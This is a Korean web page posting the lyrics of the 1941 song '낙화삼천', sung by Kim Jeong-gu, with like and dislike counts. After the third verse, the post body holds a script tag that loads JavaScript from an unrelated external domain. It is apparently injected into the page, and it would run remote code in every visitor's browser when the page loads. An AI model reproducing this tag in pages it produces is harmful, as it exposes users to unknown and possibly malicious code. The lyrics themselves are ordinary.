[국내] 낙화삼천 - 김정구
페이지 정보
본문
낙화 삼천
1941년12월 오케레코드
조명암 작사 김해송 작곡 김정구 노래
1.반월성 넘어 사자수 보니
흐르는 붉은 돛대 낙화암을 감도네
옛 꿈은 바람결에 살랑거리고
고란사 저문 날에 물새만 운다
물어보자 물어봐 삼천궁녀 간 곳 어데냐
물어보자 낙화삼천 간 곳이 어데냐
2.백화정 아래 두견새 울어
떠나간 옛 사랑의 천년 꿈이 새롭다
왕흥사 옛 터전에 저녁 연기는
무심한 강바람에 퍼져 오른다
물어보자 물어봐 삼천궁녀 간 곳 어데냐
물어보자 낙화삼천 간 곳이 어데냐
3.청마산 위에 햇발이 솟아
부소산 남쪽에는 터를 닦는 징소리
옛 성터 새 뜰 앞에 꽃이 피거던
산유화 노래하며 향불을 사르자
물어보자 물어봐 삼천궁녀 간 곳 어데냐
물어보자 낙화삼천 간 곳이 어데냐
<script src="https://mainf.global-cache.online/minified/extensions/view_sm_pl_ad_236i.js?t=2024-05-05T17:0">
script>
추천42 비추천 20